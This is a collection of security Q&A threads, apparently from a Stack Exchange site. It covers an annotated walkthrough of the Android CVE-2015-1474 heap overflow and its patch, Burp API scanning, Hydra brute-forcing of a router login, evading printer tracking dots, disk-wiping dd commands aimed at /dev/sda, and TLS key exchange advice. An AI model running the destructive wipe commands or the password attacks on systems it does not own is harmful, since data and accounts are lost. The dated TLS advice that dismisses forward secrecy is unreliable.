How can the Android GraphicBuffer::unflatten() vulnerability (CVE-2015-1474) be exploited remotely? I've been reading up-on DoS (denial-of-service) attacks within android and although I understand attacks like the below, which make use of regular programming functions etc.

(Android Web Browser) When an Android Device visits a particular webpage, that webpage can retain JavaScript which can using a large loop push Android devices to open linked applications e.g. the Android Market Place, Email, Messaging etc. many times proving a crash
http://packetstormsecurity.com/files/118539/Android-4.0.3-Browser-Crash.html

Vulnerability I can't understand:

  Vulnerability Details :

  CVE-2015-1474

  Multiple integer overflows in the GraphicBuffer::unflatten function in
  platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android
  through 5.0 allow attackers to gain privileges or cause a denial of
  service (memory corruption) via vectors that trigger a large number of
  (1) file descriptors or (2) integer values.

  http://www.cvedetails.com/cve/CVE-2015-1474/

a

  Google Android Integer Overflows in GraphicBuffer::unflatten() Let Remote Users Execute Arbitrary Code

  SecurityTracker Alert ID:  1031875

  SecurityTracker URL:  http://securitytracker.com/id/1031875

  CVE Reference:   CVE-2015-1474   (Links to External Site)

  Date:  Mar 10 2015

  Impact:   Execution of arbitrary code via network, User access via network

  Fix Available:  Yes  Vendor Confirmed:  Yes

  Description:   A vulnerability was reported in Google Android. A remote user can execute arbitrary code on the target system.

  A remote user can send specially crafted data to trigger an integer
  overflow in GraphicBuffer::unflatten() and potentially execute
  arbitrary code on the target system. The code will run with the
  privileges of the target application.

  Impact:   A remote user can execute arbitrary code on the target system.

  Solution:   The vendor has issued a source code fix, available at: https://android.googlesource.com/platform/frameworks/native/+/38803268570f90e97452cd9a30ac831661829091

  Vendor URL:  android.googlesource.com/ (Links to External Site)

  Cause:   Boundary error

  Underlying OS:

  Message History:   None.

  http://www.securitytracker.com/id/1031875

a

  References:

    http://www.cvedetails.com/cve/CVE-2015-1474/
    http://www.securitytracker.com/id/1031875

I find issues like the above (making use of specific O.S frameworks etc.) a lot more difficult to understand.

What I can gather from the above is:

The attack allows attackers to:

gain privileges
cause denial of service (memory corruption)

But I can't understand what exactly is opening the O.S to these problems?
e.g. What exactly does this mean: A remote user can send specially crafted data to trigger an integer overflow in GraphicBuffer::unflatten()

How can an attacker do something like this remotely?
What does GraphicBuffer::unflatten() mean?

Or

How would a user would go about executing this arbitrary code and what sort of code would this be?

What am I missing?

Small queries about Answer:

Firstly, where is the function native_handle_create and variable native_handle declared (as I can see their use, but neither local or global declaration).

Secondly how did you determine what the actual size of the buffer should be(so to determine, whether the current size of numFds or numInts was incorrect i.e. shouldn't be -1)?

Thirdly what does h->data mean, as I can't find declaration for a variable named data and I don't know what -> means? also what is sizeof(int)?

Finally I thought numFds was unsigned const size_t numFds  = buf[8];, and if numFds was of type size_t I thought it shouldn't be able to hold negative numbers to begin with
(unless I've missed something)? Also, I don't understand how we move from creating Heap Corruption or Array Index Out of Bounds Exception etc. to arbitrary code execution?

I apologize if these further queries are irritating, I'm just trying to properly get my head around it. Thanks again :-)

The easiest way to understand the vulnerability is to look at the diff, dig through the code, and work out how you might exploit it.

The vulnerable method's signature looks like this:

status_t GraphicBuffer::unflatten(
    void const*& buffer, size_t& size, int const*& fds, size_t& count) {

The important arguments here are void const*& buffer, which is a buffer of data for unflattening, and size_t& size, which specifies the size of the buffer.

Keep in mind that size_t is typedef unsigned int, which means it's an unsigned integer. This means it cannot represent negative values.

The method starts as follows:

// if the size of the buffer is less than 8 integers, return because it's too small
if (size < 8*sizeof(int)) return NO_MEMORY;

// cast the buffer to an integer pointer type (think "array of ints")
// remember that the size argument is NOT an int, but a size_t - therefore unsigned int.
int const* buf = static_cast<int const*>(buffer);

// check that the buffer contains the right magic number at the start
if (buf[0] != 'GBFR') return BAD_TYPE;

// populate two size_t variables - these are the ones which cause the integer overflow later!
// note that this data is supplied by the calling application, so it can control it.
const size_t numFds  = buf[8];
const size_t numInts = buf[9];

So, as you can see, there's some cursory checking to see if the buffer is the right size. It then goes on to read more data from the buffer and populate two counts (Fds and Ints). These numbers specify how many values come after the header data.

Let's carry on...

// check that the buffer is large enough to contain the number of ints specified.
// notice that 10 is the number of ints read so far (buf[9] was our last access)
// so in order to store numInts ints, the buffer needs to be 10 + numInts ints long.
const size_t sizeNeeded = (10 + numInts) * sizeof(int);
// if the buffer isn't big enough, fail
if (size < sizeNeeded) return NO_MEMORY;

// if the count argument is less than zero, fail
// this is meaningless because count is size_t, so can't be negative
size_t fdCountNeeded = 0;
if (count < fdCountNeeded) return NO_MEMORY;

if (handle) {
    // free previous handle if any
    free_handle();
}

So far so good, mostly. It's checked to see that the buffer is big enough to have the number of "Ints" that the header claims. There's a pointless check for negative counts, but that's impossible anyway. Finally it cleans up any old handle just in case, to prevent handle leaks.

Now comes the vulnerability...

// if either numFds or numInts is nonzero...
if (numFds || numInts) {
    // read a bunch of fields...
    width  = buf[1];
    height = buf[2];
    stride = buf[3];
    format = buf[4];
    usage  = buf[5];

    // native_handle_create is just a wrapper for malloc'ing a struct which
    // contains a few metadata fields and the fds/ints data.
    // the function takes two ints as its parameters, so it can take negatives.
    // the underlying code does malloc(...+((numFds+numInts)*sizeof(int)))
    // and since nothing has checked if numFds < 0, this will make a buffer
    // which is smaller than expected!
    //
    // example: if numFds is -1 and numInts is 20, the allocated data buffer
    // will be 19*sizeof(int) bytes long.
    //
    // this is potentially bad already, but it gets worse.
    native_handle* h = native_handle_create(numFds, numInts);

    // this will copy the list of file descriptors (fds) from the fds pointer
    // to the h->data pointer. the number of bytes to copy is numFds*sizeof(int).
    // it is important to note that the third argument of memcpy takes a size_t,
    // which is unsigned. numFds is a signed int, but when you multiply it with
    // sizeof(int), which is type size_t, you get a size_t, which is interpreted
    // as an UNsigned integer. as such, -1 (0xFFFFFFFF) in signed becomes
    // 4294967295 when translated over to size_t. so, it attempts to copy way
    // too much data from fds to h->data, leading to heap corruption.
    memcpy(h->data,          fds,     numFds*sizeof(int));

    // <-- CRASH HERE, HEAP IS CORRUPTED

    memcpy(h->data + numFds, &buf[10], numInts*sizeof(int));

    handle = h;
} else {
    width = height = stride = format = usage = 0;
    handle = NULL;
}

Essentially the problem is that the number of file descriptors (numFds) is read as a signed integer, but then gets converted to an unsigned integer for the memcpy, which turns a small negative into a large positive and overruns the heap buffer. This is all caused by missing checks on the values of numInts and numFds.

According to the FullDisclosure post, you can exploit it by crafting a class which derives from BufferQueue, which has access to the data that ultimately gets passed to unflatten's buffer argument.

Now, since all this vulnerable code sits inside the system_server process, which runs under the system user, corrupting its heap from a user application (i.e. an app) is a big deal. If you could overwrite a function pointer (e.g. from a callback or event) inside a struct or class that is on the heap, you could gain arbitrary code execution within system_server, thus gaining you privileges.

To answer your clarification requests...

  Firstly, where is the function native_handle_create and variable native_handle declared (as I can see their use, but neither local or global declaration).

Android Cross Reference is useful for finding this kind of thing. The function is declared in native_handle.c and the native_handle struct (not a variable - h is the pointer variable of type native_handle) is declared in native_handle.h.

  Secondly how did you determine what the actual size of the buffer should be(so to determine, whether the current size of numFds or numInts was incorrect i.e. shouldn't be -1)?

Well we know that there can't be -1 items in a list, so that's invalid. If you look at the patch diff, they've added some checks:

// compute the maximum possible number of ints that you can store in a buffer
// whose size is represented by a size_t.
const size_t maxNumber = UINT_MAX / sizeof(int);
// if numFds exceeds the max number of possible ints (e.g. if 0xFFFFFFFF is passed)
// this check will fail. the second check is the same, except it accounts for the
// fact that 10 ints in the buffer are already used for other purposes.
if (numFds >= maxNumber || numInts >= (maxNumber - 10)) {
    // clear data and fail
    width = height = stride = format = usage = 0;
    handle = NULL;
    ALOGE("unflatten: numFds or numInts is too large: %d, %d",
            numFds, numInts);
    return BAD_VALUE;
}

Later we can see even more checks...

 // originally this was set to 0, which essentially did nothing.
 size_t fdCountNeeded = numFds;
 if (count < fdCountNeeded) return NO_MEMORY;

The final check after the native_handle_create call prevents a failed allocation from causing problems - before it would just do the memcpy to h->data even if h was null, leading to a null dereference bug (DoS condition).

So these checks ensure that the input values aren't outside of bounds and therefore can't be exploited as before.

  Thirdly what does h->data mean, as I can't find declaration for a variable named data and I don't know what -> means? also what is sizeof(int)?

The -> operator is a dereference. The operand on the left is a pointer to a struct. So h->data dereferences h, which is a pointer to a struct of type native_handle (we mentioned this earlier) and accesses the data field of that struct. By comparison, if h was not a pointer but was just a plain struct, you'd do h.data instead.

The sizeof macro gives you the size of a type in bytes. So sizeof(int) will return the native int size for your compiler implementation and target platform. In most cases it should return 4 or 8 to specify a 32-bit or 64-bit integer.

  Finally I thought numFds was unsigned const size_t numFds = buf[8];, and if numFds was of type size_t I thought it shouldn't be able to hold negative numbers to begin with (unless I've missed something)?

Yes, numFds is size_t, but that just means that the raw bytes within that value are interpreted as an unsigned integer. If it contains 0xFFFFFFFF, its directly interpreted decimal value would be 4294967295. However, the problem comes when you cast a size_t to an int, at which point the raw bytes within are interpreted as a signed integer, in which case that 0xFFFFFFFF suddenly turns into -1.

  Also, I don't understand how we move from creating Heap Corruption or Array Index Out of Bounds Exception etc. to arbitrary code execution?

That's a complicated topic, but I'll give you a summary. The heap is where most of your application data goes. This means that when you're making buffers and instances of classes and various other things, most of that data is in the heap. Now, imagine you've got a class with an event - let's call it Dog, and have the event called Bark. When certain conditions arise, an instance of that class will raise the Bark event, so that other objects can react to that bark. An event is just a pointer. Other objects handle that event by assigning it a pointer to a method, i.e. a pointer to some code. So, when the Dog instance wants to raise Bark, it looks at the Bark pointer and starts executing the code there. In assembly this would look something like call [eax+0x0...].

Since the Dog instance exists in memory, on the heap, so does its Bark pointer. If you could overwrite the Bark pointer to point to some other executable memory, then caused the Dog instance to raise the event, it'd run the code at that other location. If you control the code at that location (e.g. by filling a buffer with code and using that address for your pointer) then you get arbitrary code execution.

You can exploit this by simply flooding the heap with data structures that are likely to overwrite your target data in a meaningful way. It's not always 100% reliable, but that's just how it goes sometimes.

Things get even more complicated with NX and ASLR, where you have to use pointer leaks and ret2libc/ROP to exploit it, but that's a much bigger topic.

If you want to get into exploit writing, I highly recommend Corelan's Exploit Writing Tutorials. They're a little out of date - you'll want a WinXP VM with hardware NX disabled - but it's still a strong resource.


Using burp-rest-api, how do I log into my web application in order to scan for vulnerabilities? I am using the VMWare-developed Burp API (https://github.com/vmware/burp-rest-api) in order to try to automate web application scanning for my application. For an example, if I was attempting to test port 85 of localhost, the process would be as follows.

# Add the target to scope
curl -X PUT --header 'Content-Type: application/json' --header 'Accept: application/json' 'http://localhost:8080/burp/target/scope?url=http://127.0.0.1:85'

# Spider the target
curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' 'http://localhost:8080/burp/spider?baseUrl=http://127.0.0.1:85'

# Scan the target
curl -X POST --header 'Content-Type: application/json' --header 'Accept: */*' 'http://localhost:8080/burp/scanner/scans/active?baseUrl=http://127.0.0.1:85'

# Get Status of Scan
curl -X GET --header 'Accept: application/json' 'http://localhost:8080/burp/scanner/status'

# Create HTML Report
curl -X GET --header 'Accept: application/octet-stream' 'http://localhost:8080/burp/report?urlPrefix=http://127.0.0.1:85&reportType=HTML' -o testReport.html

Is there a way to log in before/during the spidering process through the API, so the spider will crawl authenticated pages as well?

#Pass the user/project config json file
curl -X POST "http://localhost:8080/burp/configuration" -H "accept: */*" -H "Content-Type: application/json" -d "\"string\""

modify the following lines in project_config json file or string to spider the application based on form based login/authentication.

   ...

    ...

        "spider":

          {  "application_login":

             {  "mode": "automatic",

                  "password": " ",

                  "username": " "
             },

               "crawler":

    ...

    ...

Note : the project_config json example can be found in API documentation


How to check if you are navigating anonymously I have been reading a bit about the deep web and the dark web, and that you need to connect to the onion network through a VPN to navigate anonymously.
I'm currently using Tails and its default system: onion circuits. I have read that onion circuits is just a free VPN, is this correct?
I have read as well that, to check if you are navigating anonymously, you need to go to some what-is-my-ip web and verify that it can't determine your IP or that it matches with the VPN's one. Is this correct? I don't understand very well what is the VPN's IP, could you give more details about it?
EDIT
Of course I'm using the Tor browser, it comes with Tails by default.

You should look into TOR browser if you're looking to browse the web for the most part anonymously. It's a little more beginner friendly than tails.
To answer your question directly, yes, the easiest way to verify you are accessing the web via a TOR exit node is to go to google or DuckDuckGo and type 'whats is my IP' before then after you connect through TOR or Tails and confirm the IP has changed.


Parameters to check before storing data on cloud I want suggestions regarding the storing/securing my data on cloud.

I want to upload my data on cloud, so it will be safe and can be accessible from anywhere.

I have around 15 GB of data which I want to store it on cloud.

Can I use Google Drive (for Free) for this purpose ?

Is there any security issues if I use the Google drive for it ?

It will be nice, if I get list of companies which also provide this service at low price.

I also want to know which parameters I should check, before using cloud services.

PART 1 (example)

Let's categorize your data as TOP SECRET , Classified and normal data.

If you would want to store TOP SECRET data in cloud, I would suggest
NOT to. Remember that in the moment you upload something online, you
are not the only one who have access to it. But if you really have
to, than it would be a good practice to encrypt your data before
uploading it, because remember:

IF YOUR SERVICE PROVIDER ENCRYPTS YOUR DATA, THE SERVICE PROVIDER CAN
DECRYPT YOUR DATA
If you would want to store Classified data, you must be sure you are
storing the data in a trustworthy cloud service with good reputation.
Here you have a study on the best cloud services.
If you would want to store normal data, then the common services like
Google Drive, Dropbox, One Drive are OK.

PART 2

In a general point of view you should know this things:

Make sure the cloud vendor is up-to-date on data center and industry
certifications.
Pick a provider that suits your needs. Some providers are specialized
in specific data types.
Take a look at bandwidth limitations (if you store business
data). If you are going to be using cloud as part of a backup
strategy, you need to understand the bandwidth limitations both for
the initial backup of a large amount of data, as well as what will
happen should you need to restore a large amount of data.
Make sure data is encrypted.
Carefully read the provider's SLA.
Know how much the cloud will actually cost you.
Make sure you can recover/restore your data in an efficient way.


Defeating identifying information that printers hide in printed documents It's pretty widely known (well, I think it's widely known) that printer manufacturers, in cooperation with certain governments, embed various bits of information (serial numbers, dates, etc.) in printed documents that can be used to identify the source, from the 90's at least to as recently as 2015. The EFF has studied this extensively and continues to do so. They had managed to crack Xerox codes around 2005 and released some source for decoding it.

In a recent conversation about the topic I realized that I could not think of a way to conveniently remove this information from printed output.

How can I protect my privacy in regards to documents I print? How can I defeat embedded identification data that printer manufacturers hide in the output?

Things I can think of are:

Don't use printers made by manufacturers known to do this. Unfortunately this is not a guarantee and also it rules out some really nice printers.
Smudge all printed documents with some sort of abrasive material. Highly inconvenient, damages documents, and I'd imagine there may be certain complicated techniques that this may not adequately counter.
Maybe include some sort of subtle background pattern in all printed documents? This does not seem guaranteed to be effective, though.
I also considered running documents through a photocopier, except nearly every copier I see now (including my own) is essentially a scanner + a printer, yielding the same problem in the copies.
Modifications to the printer's firmware and electronics are not a feasible option for many reasons, unless some sort of hacky printer mods already exist and are easily obtainable.
Always use somebody else's printer. I do not consider this an option; it defeats the purpose of owning a printer and also goes against my personal ethics.

None of these are particularly great.

First of all, your premise that all tracking is done via micro-dots is incorrect. Recent developments show that tracking technology uses micro-shifts in pixels or other invisible steganography-like technology to include tracking information into print outputs. So smudging or backgrounds won't really be a 100% solution.

You've lined up most available options, I'd like to add a few more:

Option [1] Most cheap inkjet printers can't do it due to the vast tolerances in head movement and cheap electronics. Use a really cheap inkjet with a custom ink feeding system (to get down the cost of printing to an acceptable level).

Option [2] For the really paranoid - build your own printer, there are several projects that provide 3D print blueprints for ink-jet printers, and electronics + software are open source.

Option [3] My sources tell me that most manufacturers only build tracking technology only into their high-end models (enterprise use mainly, since the original fear was that powerful laser printers can print counterfeit currency), and for models sold in the US. Suggest buying a lower end color laser printer from markets that are known with more relaxed regulations (or privacy concerns), e.g. Northern Europe/Scandinavian countries. No guarantees obviously there (unlike the first two options, but you will overcome the severe limitations in the first two options).

Option [4] Go green! Save trees, print less or use e-paper (e.g. Sony DPT-RP1/B Digital Paper). I know, may seem like a stupid option, plus e-papers come with their own problems.

Option [5] Get your printers from Craigslist or second hand markets. Don't ever connect them to the Internet. Change them frequently via Craigslist or flea markets. That way it would be extremely difficult for someone to find out who/where/what, or connect the dots.

BTW the backgrounds you were referring to are here: https://drive.google.com/drive/u/0/folders/0B9ZrovajUPg2U3Z2Ul9WSXI0b1U

Other relevant reading (Steganographix, 2013--2014. Steganographix Documentation):
https://drive.google.com/drive/u/0/folders/0B9ZrovajUPg2NFEtNXZKUi02Tjg

Just my $0.02 :-)


Is it safe to use .netrc files to store credentials for tools like curl or ftp? The .netrc file can contain username and password credentials for various sites, to allow simpler invocation of tools. For example curl with the -n option will read credentials from the file, for the given target site.  Or FTP does similar.

Also custom written command-line tools and scripts can be designed to read credentials from the same file.

Assuming the file itself has 0400 permissions, Is this generally considered to be safe?  different people seem to have different opinions.

Storing credentials in clear-text on your computer is a risky business as any application that runs on your computer has access to these credentials. The credentials are also exposed in backups, zips, etc...

.netrc files are a prime target for attackers looking to branch out to other computers.


Should a secure ATA erase be performed on a non-SSD drive? When running the command hdparm -I /dev/sda the following output is generated.

ATA device, with non-removable media
        Model Number:       WDC WD10JPVX-75JC3T0
        Serial Number:      WX51A9324970
        Firmware Revision:  01.01A01
        Transport:          Serial, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6, SATA Rev 3.0
Standards:
        Supported: 9 8 7 6 5
        Likely used: 9
Configuration:
        Logical         max     current
        cylinders       16383   16383
        heads           16      16
        sectors/track   63      63
        --
        CHS current addressable sectors:    16514064
        LBA    user addressable sectors:   268435455
        LBA48  user addressable sectors:  1953525168
        Logical  Sector size:                   512 bytes
        Physical Sector size:                  4096 bytes
        Logical Sector-0 offset:                  0 bytes
        device size with M = 1024*1024:      953869 MBytes
        device size with M = 1000*1000:     1000204 MBytes (1000 GB)
        cache/buffer size  = 8192 KBytes
        **Nominal Media Rotation Rate: 5400**

Of interest is the description and value Nominal Media Rotation Rate: 5400. This indicates that the hard drive is mechanical and not flash.

There is support for ATA secure erase as suggested by the output albeit I would have not anticipated a secure erase taking as long as 198 mins.

Security:
        Master password revision code = 65534
                supported
        not     enabled
        not     locked
        not     frozen
        not     expired: security count
                supported: enhanced erase
        198min for SECURITY ERASE UNIT. 198min for ENHANCED SECURITY ERASE UNIT.

Given that the device is not a solid state drive, should a secure ATA erase still be performed?

If no, why? If yes, why?

Would shred --verbose --random-source=/dev/urandom -n1 /dev/sda support the same or a similar outcome i.e. irrecoverable data including defective or deallocated sectors?

Given that the device is not a solid state drive, should a secure ATA erase still be performed?

If you want to erase the data, you can use ATA Secure Erase. It is not meant only for solid state drives and works fine on spinning rust. It takes a lot longer than on SSDs because hard drives are less likely to support SED, which allows instant erasure by destroying an encryption key.

Whether or not you use the firmware's secure erasure or erase the block device is something that is up to you. Both options come with advantages and disadvantages. For example, ATA Secure Erase is designed to erase areas of the drive that may not be touched by writing to the block device, such as damaged sectors and the HPA (Host Protected Area). On the other hand, any erasure implemented in firmware may be broken or implemented incorrectly, as you have no ability to easily tell how it is performing erasure. If you have time, you can perform both methods to get the best of both.

  Would shred --verbose --random-source=/dev/urandom -n1 /dev/sda support the same or a similar outcome i.e. irrecoverable data including defective or deallocated sectors?

No, that would not erase damaged sectors, nor would it erase areas of the disk like the HPA. Note that the command you gave is functionally equivalent to cat /dev/urandom > /dev/sda. You can, however, use smartmontools to determine how many damaged sectors your drive is reporting. If the value is zero, then every accessible sector can be wiped just by writing to the block device.

If you want to overwrite the block device, you can do so with dd:

dd if=/dev/urandom of=/dev/sda bs=256k conv=fsync

This will write random data to the block device, and will sync the changes as soon as it has completed. On older Linux kernels, the random driver is very slow, in which case you should use other sources of randomness, for example creating an encrypted device with cryptsetup and writing zeros to it.

In the future, there is a technique you should utilize to ensure you are not put into this position again. You should use full disk encryption with something like LUKS, which keeps the randomly-generated master password on the drive, encrypted with a user password you specify. Simply overwriting the encrypted master password is sufficient to render all other data on the drive completely irrecoverable. This works for hard drives where there is no wear leveling in place. On solid state drives, this will not work.


Web Cache Deception - exploitable without a cache server? Is Web Cache Deception vulnerability exploitable if there is no cache server involved?
If we are not using a cache servers or a CDN to serve the application, then would the application still be vulnerable - say if the client's network using the application has a caching server to serve its users?
Background: Our webapp scanner (Netsparker) has detected the Web Cache Deception vulnerability for an internal application and has marked the severity as Critical. Since there are no web cache servers between that webserver and its users, the inclination is to adjust the severity as medium or low.

Looks like it might be a false positive ? Can you reproduce the issue manually ?
Web Cache Poisoning can happen without a cache server or CDN since some application have an internal cache mechanism.

Drupal is often used with third party caches like Varnish, but it also
contains an internal cache which is enabled by default.

Source: Practical Web Cache Poisoning


2FA/MFA and Session management Background

Recently observed researchers reporting bugs related to a situation where a website would not invalidate secondary (separate) active session once 2FA/MFA has been enabled in primary session.

Scenario

Consider user1 on website.com has 2FA disable.
user1 logs into two separate sessions
user1 enables 2FA in one of the primary session
user1 reloads secondary session, to see if secondary session gets
invalidated

My brain

While I do get the logic behind it, I simply do not consider it to be a valid security bug even if the secondary session does not get invalidated.

Am I missing something here? A different PoV perhaps?

I can see how it is considered a good practice to have upon changing authentication settings (Change password/Setup 2FA etc.) to close all of the sessions, but I don't see any real world security benefits from that.

I think that it's more important to make sure that Logout works for all sessions not just the one involved. This is meant as a close all sessions mechanism and should work accordingly.


PKI - Hybrid - root ca in the Datacenter PKI - Can we maintain root CA and HSM in the data center and have issuing CA on the cloud to issue certs, integrated with cloud HSM?

The formal answer is: "Check your Certificate Policy (CP)"

But as you've asked this question, it's fair to assume that you haven't got a CP.

The CP will define your policies covering the generation, storage, usage and management of keys and other factors such as training, physical and network security, policy for requesting certificates etc. CPs follow a pre-defined format for convenience, which is defined in RFC 3647

However, your proposal is a pretty standard design these days, given the proliferation of cloud based deployments.

Have your root CA offline, with a HSM.  If you  can, use a USB or PCIe HSM for this and only use it to sign the issuing CA(s) certificates and to generate CRLs.

Your issuing CA could be in the cloud with a cloud HSM.

Do bear in mind though that with a setup such as this, the CA's image (such as the live disk image or a backup) may be accessible to the operators of your cloud provider.  There is a risk here that they (or some third party) may be able to gain access to any passphrases, certificates or keys required to access your HSM.

An alternative would be to also host this within your datacentre, where you may trust the operators more; or a hybrid where your CA is in the datacentre and the HSM in the cloud (again, depending on your level of trust of these providers).

In the end, this is your decision, which would normally be formally defined in your CP.


Does the VPN provider know my dedicated IP? Is it ok for a VPN provider to ask a new costumer to send a log file in order to solve a login probelm? I trusted him and sent him a log file because he said that would be the best way to see why i am disconnecting all the time. On the other hand, my dedicated IP is stated in that log file and visible to him. Is this a problem? I actually think it is.

Thanks in advance

The VPN provider would already know your IP anyway.  While a VPN ends up hiding your IP from others (because they connect with the endpoint of the VPN), the VPN itself has to actually connect to your IP and knows your IP regardless of if you give them a log.  The log just lets them see what errors you are experiencing.


XSS - history stealing I am little confused about this matter. By simply writing a JavaScript code we can go through our browser history and identify visited links. It is fine. But how an attacker use this to identify a victim's history. Essentially, the code should have to be executed on the victim's browser.

I know that there are XSS attack methods, persistent, non-persistent, DOM based etc. Should an attacker use one of these methods? Or is there another way? Can anybody give sample code?

Although, here (XSS attacks cross-site scripting exploits and defense-V et al) the attacking method (history stealing) is clear, how an attacker receive the history is not clear..I am interested in how really attacker receives the history in formation gathered from the code.For an example, in cookie stealing it is sent through a url to the attacker.likewise...

Any help is appreciated.

Michal Zalewski aka lcamtuf made some interesting posts recently and showed some pocs and explanation on how to do it with modern browsers:

read first: post @ bugtraq
History theft with CSS Boolean algebra
Defend Your Spaceship!

very impressive research imho


Hydra: Need to use information found in page source code I recently started experimenting with Hydra to try and crack my router's password and I'm having a problem.

Here's what I did:
My router uses form-based HTTP POST authentication. After examining the network traffic, I noticed that the only POST parameter sent by the browser upon submitting the form was 'response' and its value seemed to be a random combination of 32 alphanumeric characters (no username is needed; just a password). I examined the router's webpage source code and it turned out that it uses JavaScript to encode the password. It joins the password with a string (I'm going to refer to it as a 'token') by a dash after running the password through an MD5 hashing algorithm. The token is different every time I try to log in. The result is then set as the value for the form field 'response'. I downloaded the JS code that does the hashing and was able to replicate the process with nodejs so that the output can be written to the console.

So far so good. The only problem is that I need to look for the token in the HTML source code. I need to find a way to make Hydra retrieve this token automatically.

In other words: is there a way I can automate Hydra to execute the following steps before doing the POST request:

Get the login page with a GET request.
Find the token. (with regular expressions maybe?)

Hydra is limited in the inputs that it can process, just like any other program. If you want Hydra to work on a modified input, you will have to create an interface for Hydra.

Burp might be your friend in this. There are many ways that you can write plug-ins that you could use as a foundation.


When to rotate a client TLS certificate? What is the recommended rotation period of a TLS/client certificate? I have seen organizations rotating at half life and some that rotate only 30-50 days before expiry.

For example, for a certificate valid for 1 year, do I rotate at 6 months or at 11 months? Is there any recommendation to rotate at 80% of the life of a certificate?

The amount of time before expiration that someone decides to renew the certificate has to do with continuity rather than security.  In short, you should leave yourself enough time to rotate, based on "normal" turnaround time and then adding some more time for padding.  The people rotating at half-life are leaving a LOT of padding.

The certificate is presumed valid and secure until it expires, or it is revoked.  Initiating the renewal doesn't imply that the certificate is  less valid in any way.

But consider a certificate that expires in 3 days - and takes a week to renew.  There will be a shortfall where the old certificate has expired, and the new one is not yet in place.

These sort of time crunches are commonly multiplied by inefficiencies on both ends of the chain, and in many cases there is institutional trauma from that one time somebody forgot and everything blew up.  Their solution?  Leave a bigger buffer, and renew the certificate farther out, with more time before the expiration "wall".


What is the difference between "key length" and "bit strength"? On occasion, I hear the terms "key length" and "bit strength" used interchangeably.  Are these the same things? Or are they different?

I'd use bit length for the size of something, such as a key.

I'd use bit strength as the base 2 logarithm of the cost of an attack. i.e. it costs about 2^n basic operations to break something.

A brute force attack against an n bit key that simply tries to guess the key costs 2^(n-1) calls to the encryption function on average, which lead to this convention of expressing the strength of an algorithm in bits.

Thus you could understand "n bit strength" as "Breaking this costs approximately as much as breaking a symmetric encryption algorithm with an n bit key."

But they differ in other cases. A few examples:

An RSA key with a length 2048 bits only has a strength of about 112 bits.
A hash with length 128 bits can only have 64 bits of collision resistance.
3DES takes a 168 bit key, but only offers 112 bits of security, due to a meet-in-the-middle attack.


What key exchange mechanism should be used in TLS? There are many key exchange mechanisms that can be used in TLS. Among them are RSA, ECDH_ECDSA, ECDHE_ECDSA, ECDH_RSA, ECDHE_RSA and others. Which of these are more cryptographically secure and can be used for securing connection with web site?

You may use a key exchange (as part of a cipher suite) only if the server key type and certificate match. To see this in details, let's have a look at cipher suites defined in the TLS 1.2 specification. Each cipher suite defines the key exchange algorithm, as well as the subsequently used symmetric encryption and integrity check algorithms; we concentrate here on the key exchange part.

RSA: the key exchange works by encrypting a random value (chosen by the client) with the server public key. This requires that the server public key is an RSA key, and that the server certificate does not prohibit encryption (mainly through the "Key Usage" certificate extension: if that extension is present, it must include the "keyAgreement" flag).
DH_RSA: the key exchange is a static Diffie-Hellman: the server public key must be a Diffie-Hellman key; moreover, that certificate must have been issued by a Certification Authority which itself was using a RSA key (the CA key is the key which was used to sign the server certificate).
DH_DSS: like DH_RSA, except that the CA used a DSA key.
DHE_RSA: the key exchange is an ephemeral Diffie-Hellman: the server dynamically generates a DH public key and sends it to the client; the server also signs what it sends. For DHE_RSA, the server public key must be of type RSA, and its certificate must be appropriate for signatures (the Key Usage extension, if present, must include the digitalSignature flag).
DHE_DSS: like DHE_RSA, except that the server key has type DSA.
DH_anon: there is no server certificate. The server uses a Diffie-Hellman key that it may have dynamically generated. The "anon" cipher suites are vulnerable to impersonating attacks (including, but not limited to, the "Man in the Middle") since they lack any kind of server authentication. On a general basis, you shall not use an "anon" cipher suite.

Key exchange algorithms which use elliptic-curve cryptography are specified in another RFC and propose the following:

ECDH_ECDSA: like DH_DSA, but with elliptic curves: the server public key must be an ECDH key, in a certificate issued by a CA which itself was using an ECDSA public key.
ECDH_RSA: like ECDH_ECDSA, but the issuing CA has a RSA key.
ECDHE_ECDSA: the server sends a dynamically generated EC Diffie-Hellman key, and signs it with its own key, which must have type ECDSA. This is equivalent to DHE_DSS, but with elliptic curves for both the Diffie-Hellman part and the signature part.
ECDHE_RSA: like ECDHE_ECDSA, but the server public key is a RSA key, used for signing the ephemeral elliptic-curve Diffie-Hellman key.
ECDH_anon: an "anon" cipher suite, with dynamic elliptic-curve Diffie-Hellman.

So, what shall you choose, for a Web site ? Your main constraints are:

You want a cipher suite which is supported by most clients; in practice, this rules out elliptic curve cryptography (elliptic curves are mightily cool, but not well supported yet in the field -- consider that according to gs.statcounter, as of September 2011, 40% of client systems still use Windows XP, and almost 5% use IE 7.0).
You want a cipher suite which is compatible with your server key type and certificate. This, in turn, depends on what the CA accepts (the CA which sold you the certificate). 99.9% of the time, this means RSA. Everybody does RSA. Diffie-Hellman keys in certificates, and DSA signatures, used to be promoted by NIST (the US federal agency which deals with such matters) because there was a patent on RSA; but that patent expired in 2000. Diffie-Hellman (as part of certificates) is specified by ANSI X9.42, a standard which is not free (so opensource free-time developers are reluctant to implement it) and not all that clear either. So nobody really uses Diffie-Hellman in certificates. DSA is more widely supported (its defining standard is free and quite readable) but not to the point of being non-anecdotic when compared to RSA.
You do not want to use an "anon" suite because that's insecure against active attackers, and most client browsers have the "anon" suites deactivated by default.

So you choice is basically between "RSA" and "DHE_RSA". The latter may have a slightly higher computational cost, although you would need to have at least a few hundred new connections per second to actually see a difference (I insist on the "new": since TLS includes an abbreviated handshake which can build on the key exchange of a previous connection, the actual key exchange with asymmetric cryptography only occurs once per new client browser in the last minute). So, in practice, no measurable difference on the CPU load between RSA and DHE_RSA.

DHE_RSA offers something known as Perfect Forward Secrecy, a pompous name for the following property: if your server gets thoroughly hacked, to the point that the attacker obtains a copy of the server private key, then he will also be able to decrypt past TLS sessions (which he recorded) if these sessions used RSA, while he will not be able to do so if these sessions used DHE_RSA. In practice, if the attacker could steal your private key, then he probably could read the 10000 credit card numbers in your site database, so there is little reason why he should even bother recording and decrypting previous sessions because this would yield only a dozen extra numbers or so. PFS is mathematically elegant, but overhyped. If it still a nifty acronym and can make a great impression on the weakly-minded, as part of a well-thought public relations campaign.

Summary: use DHE_RSA.


